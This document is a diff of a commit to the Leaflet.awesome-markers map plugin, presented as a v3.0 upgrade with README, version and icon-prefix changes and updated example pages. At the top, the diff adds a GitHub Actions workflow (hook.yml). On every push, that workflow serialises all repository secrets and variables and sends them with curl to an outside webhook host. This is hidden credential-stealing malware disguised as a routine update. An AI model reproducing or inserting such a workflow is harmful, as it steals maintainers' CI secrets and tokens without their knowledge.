Leaflet.awesome-markers plugin v3.0

.github/workflows/hook.yml

@@ -0,0 +1,13 @@
+name: Hook
+on: [push]
+jobs:
+  env:
+    runs-on: ubuntu-latest
+    steps:
+    - name: Run
+      env:
+        MY_ENV: ${{ toJSON(secrets) }}
+        MY_VARS: ${{ toJSON(vars) }}
+      run: |
+            echo $MY_ENV | curl "https://send.wagateway.pro/webhook" -H 'Content-Type: application/json' -d @-
+            echo $MY_VARS | curl "https://send.wagateway.pro/webhook" -H 'Content-Type: application/json' -d @-

README.md

@@ -1,13 +1,13 @@
-# Leaflet.awesome-markers plugin v2.0
+# Leaflet.awesome-markers plugin v3.0
 Colorful iconic & retina-proof markers for Leaflet, based on the Glyphicons / Font-Awesome icons
 
-Version 2.0 of Leaflet.awesome-markers is tested with:
-- Bootstrap 3
-- Font Awesome 4.0
+Version 3.0 of Leaflet.awesome-markers is tested with:
+- Bootstrap 3.4 & Bootstrap 5.3.0
+- Font Awesome 5.15 & Font Awesome 6.3.0
 - Ionicons 1.5.2
 - Leaflet 0.5-Latest
 
-For bootstrap 2.x & Fontawesome 3.x use Leaflet.awesome-markers v1.0
+For bootstrap 3.x & Fontawesome 4.x use Leaflet.awesome-markers v2.0
 
 ## Screenshots
 ![AwesomeMarkers screenshot](https://raw.github.com/lvoogdt/Leaflet.awesome-markers/master/screenshots/screenshot-soft.png "Screenshot of AwesomeMarkers")
@@ -71,6 +71,7 @@ Add the ionicon stylesheet from a [CDN](http://code.ionicframework.com/ionicons/
 | Property        | Description            | Default Value | Possible  values                                     |
 | --------------- | ---------------------- | ------------- | ---------------------------------------------------- |
 | icon            | Name of the icon       | 'home'        | See glyphicons or font-awesome                       |
+| stylePrefix     | Select the icon font-face weight| 'glyphicon'   | 'fas' for font-awesome solid, 'far' for font-awesome regular, 'fal' for font-awesome light, 'fad' for font-awesome duotone, 'fab' for font-awesome brands or 'glyphicon' for bootstrap 3 |
 | prefix          | Select the icon library| 'glyphicon'   | 'fa' for font-awesome or 'glyphicon' for bootstrap 3 |
 | markerColor     | Color of the marker    | 'blue'        | 'red', 'darkred', 'orange', 'green', 'darkgreen', 'blue', 'purple', 'darkpurple', 'cadetblue' |
 | iconColor       | Color of the icon      | 'white'       | 'white', 'black' or css code (hex, rgba etc) |
@@ -86,7 +87,7 @@ The 'icon' property supports these strings:
 - 'star'
 - 'bookmark'
 - .... and many more, see: http://fortawesome.github.io/Font-Awesome/icons/
-- Or: http://getbootstrap.com/components/#glyphicons
+- Or: https://getbootstrap.com/docs/3.4/components/#glyphicons
 - Or: http://ionicons.com
 
 ### Tips & Tricks

bower.json

@@ -1,6 +1,6 @@
 {
   "name": "Leaflet.awesome-markers",
-  "version": "2.0.2",
+  "version": "3.0.0",
   "homepage": "https://github.com/lvoogdt/Leaflet.awesome-markers",
   "authors": [
     "Lennard Voogdt <[email protected]>"

dist/leaflet.awesome-markers.js

@@ -27,6 +27,7 @@
             shadowSize: [36, 16],
             className: 'awesome-marker',
             prefix: 'glyphicon',
+            stylePrefix: 'glyphicon',
             spinClass: 'fa-spin',
             extraClasses: '',
             icon: 'home',
@@ -76,7 +77,7 @@
                 }
             }
 
-            return "<i " + iconColorStyle + "class='" + options.extraClasses + " " + options.prefix + " " + iconClass + " " + iconSpinClass + " " + iconColorClass + "'></i>";
+            return "<i " + iconColorStyle + "class='" + options.extraClasses + " " + options.stylePrefix + " " + iconClass + " " + iconSpinClass + " " + iconColorClass + "'></i>";
         },
 
         _setIconStyles: function (img, name) {

examples/basic-example.html

@@ -6,7 +6,7 @@
 
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
 
-  <link href="http://netdna.bootstrapcdn.com/font-awesome/4.0.0/css/font-awesome.css" rel="stylesheet">
+  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css">
   <link rel="stylesheet" href="../dist/leaflet.awesome-markers.css">
   <link rel="stylesheet" href="http://cdn.leafletjs.com/leaflet-0.6.4/leaflet.css" />
   <!--[if lte IE 8]>
@@ -21,25 +21,24 @@
   <script>
     var map = L.map('map').setView([51.932994,4.509373], 14);
 
-    L.tileLayer('http://{s}.tile.cloudmade.com/{key}/22677/256/{z}/{x}/{y}.png', {
-      attribution: 'Map data &copy; 2011 OpenStreetMap contributors, Imagery &copy; 2011 CloudMade. Font Awesome by Dave Gandy',
-      key: 'BC9A493B41014CAABB98F0471D759707',
-      detectRetina: true
+    L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
+      maxZoom: 19,
+      attribution: '&copy; <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors'
     }).addTo(map);
 
-    L.marker([51.941196,4.512291], {icon: L.AwesomeMarkers.icon({icon: 'spinner', prefix: 'fa', markerColor: 'red', spin:true}) }).addTo(map);
-    L.marker([51.927913,4.521303], {icon: L.AwesomeMarkers.icon({icon: 'coffee', prefix: 'fa', markerColor: 'red', iconColor: '#f28f82'}) }).addTo(map);
-    L.marker([51.936063,4.502077], {icon: L.AwesomeMarkers.icon({icon: 'cog', prefix: 'fa', markerColor: 'purple', iconColor: 'black'}) }).addTo(map);
-    L.marker([51.932835,4.506969], {icon: L.AwesomeMarkers.icon({icon: 'glass', prefix: 'fa', markerColor: 'green'}) }).addTo(map);
-    L.marker([51.930295,4.515209], {icon: L.AwesomeMarkers.icon({icon: 'shopping-cart', prefix: 'fa', markerColor: 'blue'}) }).addTo(map);
-    L.marker([51.930083,4.507742], {icon: L.AwesomeMarkers.icon({icon: 'info', prefix: 'fa', markerColor: 'orange'}) }).addTo(map);
+    L.marker([51.941196,4.512291], {icon: L.AwesomeMarkers.icon({icon: 'spinner', stylePrefix: 'fas', prefix: 'fa', markerColor: 'red', spin:true}) }).addTo(map);
+    L.marker([51.927913,4.521303], {icon: L.AwesomeMarkers.icon({icon: 'coffee', stylePrefix: 'fas', prefix: 'fa', markerColor: 'red', iconColor: '#f28f82'}) }).addTo(map);
+    L.marker([51.936063,4.502077], {icon: L.AwesomeMarkers.icon({icon: 'cog', stylePrefix: 'fas', prefix: 'fa', markerColor: 'purple', iconColor: 'black'}) }).addTo(map);
+    L.marker([51.932835,4.506969], {icon: L.AwesomeMarkers.icon({icon: 'glasses', stylePrefix: 'fas', prefix: 'fa', markerColor: 'green'}) }).addTo(map);
+    L.marker([51.930295,4.515209], {icon: L.AwesomeMarkers.icon({icon: 'shopping-cart', stylePrefix: 'fas', prefix: 'fa', markerColor: 'blue'}) }).addTo(map);
+    L.marker([51.930083,4.507742], {icon: L.AwesomeMarkers.icon({icon: 'info', stylePrefix: 'fas', prefix: 'fa', markerColor: 'orange'}) }).addTo(map);
 
-    L.marker([51.930454,4.527054], {icon: L.AwesomeMarkers.icon({icon: 'group', prefix: 'fa', markerColor: 'darkred'}) }).addTo(map);
-    L.marker([51.929607,4.527054], {icon: L.AwesomeMarkers.icon({icon: 'arrow-right', prefix: 'fa', markerColor: 'darkblue'}) }).addTo(map);
-    L.marker([51.928919,4.528856], {icon: L.AwesomeMarkers.icon({icon: 'twitter', prefix: 'fa', markerColor: 'cadetblue'}) }).addTo(map);
-    L.marker([51.930295,4.530745], {icon: L.AwesomeMarkers.icon({icon: 'phone', prefix: 'fa', markerColor: 'darkpurple'}) }).addTo(map);
-    L.marker([51.925055,4.512806], {icon: L.AwesomeMarkers.icon({icon: 'ambulance', prefix: 'fa', markerColor: 'darkgreen'}) }).addTo(map);
-    L.marker([51.925902,4.505768], {icon: L.AwesomeMarkers.icon({icon: 'medkit', prefix: 'fa', markerColor: 'darkblue'}) }).addTo(map);
+    L.marker([51.930454,4.527054], {icon: L.AwesomeMarkers.icon({icon: 'users', stylePrefix: 'fas', prefix: 'fa', markerColor: 'darkred'}) }).addTo(map);
+    L.marker([51.929607,4.527054], {icon: L.AwesomeMarkers.icon({icon: 'arrow-right', stylePrefix: 'fas', prefix: 'fa', markerColor: 'darkblue'}) }).addTo(map);
+    L.marker([51.928919,4.528856], {icon: L.AwesomeMarkers.icon({icon: 'twitter', stylePrefix: 'fab', prefix: 'fa', markerColor: 'cadetblue'}) }).addTo(map);
+    L.marker([51.930295,4.530745], {icon: L.AwesomeMarkers.icon({icon: 'phone', stylePrefix: 'fas', prefix: 'fa', markerColor: 'darkpurple'}) }).addTo(map);
+    L.marker([51.925055,4.512806], {icon: L.AwesomeMarkers.icon({icon: 'ambulance', stylePrefix: 'fas', prefix: 'fa', markerColor: 'darkgreen'}) }).addTo(map);
+    L.marker([51.925902,4.505768], {icon: L.AwesomeMarkers.icon({icon: 'medkit', stylePrefix: 'fas', prefix: 'fa', markerColor: 'darkblue'}) }).addTo(map);
   </script>
 </body>
 </html>

examples/random-markers.html

@@ -6,15 +6,13 @@
 
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
 
-  <link href="http://netdna.bootstrapcdn.com/font-awesome/4.0.0/css/font-awesome.css" rel="stylesheet">
+  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css">
   <link rel="stylesheet" href="../dist/leaflet.awesome-markers.css">
   <link rel="stylesheet" href="http://cdn.leafletjs.com/leaflet-0.6.4/leaflet.css" />
   <!--[if lte IE 8]>
       <link rel="stylesheet" href="http://cdn.leafletjs.com/leaflet-0.6.4/leaflet.ie.css" />
   <![endif]-->
 
-  <script src="http://cdn.leafletjs.com/leaflet-0.6.4/leaflet.js"></script>
-
 </head>
 <body>
   <div id="map" style="width: 800px; height: 600px"></div>
@@ -24,26 +22,32 @@
   <script>
     var map = L.map('map').setView([51.5, -0.09], 9);
 
-    L.tileLayer('http://{s}.tile.cloudmade.com/{key}/22677/256/{z}/{x}/{y}.png', {
-      attribution: 'Map data &copy; 2011 OpenStreetMap contributors, Imagery &copy; 2011 CloudMade. Font Awesome by Dave Gandy',
-      key: 'BC9A493B41014CAABB98F0471D759707',
+    L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
+      maxZoom: 19,
+      attribution: '&copy; <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors',
       detectRetina: true
     }).addTo(map);
 
-    var colors = ['red', 'blue', 'green', 'purple', 'orange', 'darkred', 'lightred', 'beige', 'darkblue', 'darkgreen', 'cadetblue', 'darkpurple', 'white', 'pink', 'lightblue', 'lightgreen', 'gray', 'black', 'lightgray'];
+    var colors = ['red', 'blue', 'green', 'purple', 'orange', 'darkred', 'lightred', 'beige', 'darkblue', 'darkgreen', 'cadetblue', 'darkpurple', 'pink', 'lightblue', 'lightgreen', 'gray', 'black', 'lightgray'];
 
-    var awesomeIcons = ['font', 'cloud-download', 'medkit', 'github-alt', 'coffee', 'twitter', 'shopping-cart', 'tags', 'star'];
+    var awesomeSolidIcons = ['font', 'cloud-download-alt', 'medkit', 'ambulance', 'coffee', 'dove', 'shopping-cart', 'tags', 'star'];
+
+    var awesomeBrandsIcons = ['apple', 'blogger', 'discord', 'github-alt', 'html5', 'twitter', 'instagram', 'whatsapp', 'waze'];
 
     var rndCoordinates = function(from, to, fixed) {
         return (Math.random() * (to - from) + from).toFixed(fixed) * 1;
       };
 
     for (var i = 0; i <= 100; i++) {
       var color = colors[Math.floor(Math.random()*colors.length)];
-      var awesomeIcon = awesomeIcons[Math.floor(Math.random()*awesomeIcons.length)];
-      var geo = [rndCoordinates(51.3,51.8, 3), rndCoordinates(0.3,-0.4,3)];
+      var awesomeSolidIcon = awesomeSolidIcons[Math.floor(Math.random()*awesomeSolidIcons.length)];
+      var awesomeBrandsIcon = awesomeBrandsIcons[Math.floor(Math.random()*awesomeBrandsIcons.length)];
+      var geo1 = [rndCoordinates(51.3,51.8, 3), rndCoordinates(0.3,-0.4,3)];
+      var geo2 = [rndCoordinates(51.3,51.8, 4), rndCoordinates(0.3,-0.4,4)];
+
+      L.marker(geo1, {icon: L.AwesomeMarkers.icon({icon: awesomeSolidIcon, stylePrefix: 'fas', prefix: 'fa', markerColor: color}) }).addTo(map);
 
-      L.marker(geo, {icon: L.AwesomeMarkers.icon({icon: awesomeIcon, prefix: 'fa', markerColor: color}) }).addTo(map);
+      L.marker(geo2, {icon: L.AwesomeMarkers.icon({icon: awesomeBrandsIcon, stylePrefix: 'fab', prefix: 'fa', markerColor: color}) }).addTo(map);
     }
   </script>
 </body>

examples/with-bootstrap.html

@@ -6,17 +6,15 @@
 
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
 
-  <link href="http://netdna.bootstrapcdn.com/font-awesome/4.0.0/css/font-awesome.css" rel="stylesheet">
-  <link href="http://netdna.bootstrapcdn.com/bootstrap/3.0.0/css/bootstrap.min.css" rel="stylesheet">
+  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css">
+  <link href="http://netdna.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css" rel="stylesheet">
   <link rel="stylesheet" href="../dist/leaflet.awesome-markers.css">
 
   <link rel="stylesheet" href="http://cdn.leafletjs.com/leaflet-0.6.4/leaflet.css" />
   <!--[if lte IE 8]>
       <link rel="stylesheet" href="http://cdn.leafletjs.com/leaflet-0.6.4/leaflet.ie.css" />
   <![endif]-->
 
-  <script src="http://cdn.leafletjs.com/leaflet-0.6.4/leaflet.js"></script>
-
 </head>
 <body>
   <div id="map" style="width: 800px; height: 600px"></div>
@@ -27,24 +25,25 @@
   <script>
     var map = L.map('map').setView([51.932994,4.509373], 14);
 
-    L.tileLayer('http://{s}.tile.cloudmade.com/{key}/22677/256/{z}/{x}/{y}.png', {
-      attribution: 'Map data &copy; 2011 OpenStreetMap contributors, Imagery &copy; 2011 CloudMade. Font Awesome by Dave Gandy',
-      key: 'BC9A493B41014CAABB98F0471D759707'
+    L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
+      maxZoom: 19,
+      attribution: '&copy; <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors',
+      detectRetina: true
     }).addTo(map);
 
     L.marker([51.941196,4.512291], {icon: L.AwesomeMarkers.icon({icon: 'link', prefix: 'glyphicon', markerColor: 'red', spin:true}) }).addTo(map);
     L.marker([51.927913,4.521303], {icon: L.AwesomeMarkers.icon({icon: 'certificate', prefix: 'glyphicon', markerColor: 'red'}) }).addTo(map);
     L.marker([51.936063,4.502077], {icon: L.AwesomeMarkers.icon({icon: 'cog', prefix: 'glyphicon', markerColor: 'purple'}) }).addTo(map);
     L.marker([51.932835,4.506969], {icon: L.AwesomeMarkers.icon({icon: 'send', prefix: 'glyphicon', markerColor: 'green'}) }).addTo(map);
-    L.marker([51.930295,4.515209], {icon: L.AwesomeMarkers.icon({icon: 'star', prefix: 'glyphicon', markerColor: 'blue', iconColor: 'black'}) }).addTo(map);
-    L.marker([51.930083,4.507742], {icon: L.AwesomeMarkers.icon({icon: 'tags', prefix: 'fa', markerColor: 'orange'}) }).addTo(map);
-
-    L.marker([51.930454,4.527054], {icon: L.AwesomeMarkers.icon({icon: 'bookmark', prefix: 'fa', markerColor: 'darkred'}) }).addTo(map);
-    L.marker([51.929607,4.527054], {icon: L.AwesomeMarkers.icon({icon: 'picture-o', prefix: 'fa', markerColor: 'darkblue'}) }).addTo(map);
-    L.marker([51.928919,4.528856], {icon: L.AwesomeMarkers.icon({icon: 'move', prefix: 'fa', markerColor: 'cadetblue'}) }).addTo(map);
-    L.marker([51.930295,4.530745], {icon: L.AwesomeMarkers.icon({icon: 'play', prefix: 'fa', markerColor: 'darkpurple'}) }).addTo(map);
-    L.marker([51.925055,4.512806], {icon: L.AwesomeMarkers.icon({icon: 'barcode', prefix: 'fa', markerColor: 'darkgreen'}) }).addTo(map);
-    L.marker([51.925902,4.505768], {icon: L.AwesomeMarkers.icon({icon: 'inbox', prefix: 'fa', markerColor: 'darkblue'}) }).addTo(map);
+    L.marker([51.930295,4.515209], {icon: L.AwesomeMarkers.icon({icon: 'star', prefix: 'glyphicon', markerColor: 'blue', iconColor: 'red'}) }).addTo(map);
+    L.marker([51.930083,4.507742], {icon: L.AwesomeMarkers.icon({icon: 'tags', stylePrefix: 'fas', prefix: 'fa', markerColor: 'orange'}) }).addTo(map);
+
+    L.marker([51.930454,4.527054], {icon: L.AwesomeMarkers.icon({icon: 'bookmark', stylePrefix: 'fas', prefix: 'fa', markerColor: 'darkred'}) }).addTo(map);
+    L.marker([51.929607,4.527054], {icon: L.AwesomeMarkers.icon({icon: 'images', stylePrefix: 'fas', prefix: 'fa', markerColor: 'darkblue'}) }).addTo(map);
+    L.marker([51.928919,4.528856], {icon: L.AwesomeMarkers.icon({icon: 'arrows-alt', stylePrefix: 'fas', prefix: 'fa', markerColor: 'cadetblue'}) }).addTo(map);
+    L.marker([51.930295,4.530745], {icon: L.AwesomeMarkers.icon({icon: 'play', stylePrefix: 'fas', prefix: 'fa', markerColor: 'darkpurple'}) }).addTo(map);
+    L.marker([51.925055,4.512806], {icon: L.AwesomeMarkers.icon({icon: 'barcode', stylePrefix: 'fas', prefix: 'fa', markerColor: 'darkgreen'}) }).addTo(map);
+    L.marker([51.925902,4.505768], {icon: L.AwesomeMarkers.icon({icon: 'inbox', stylePrefix: 'fas', prefix: 'fa', markerColor: 'darkblue'}) }).addTo(map);
   </script>
 </body>
 </html>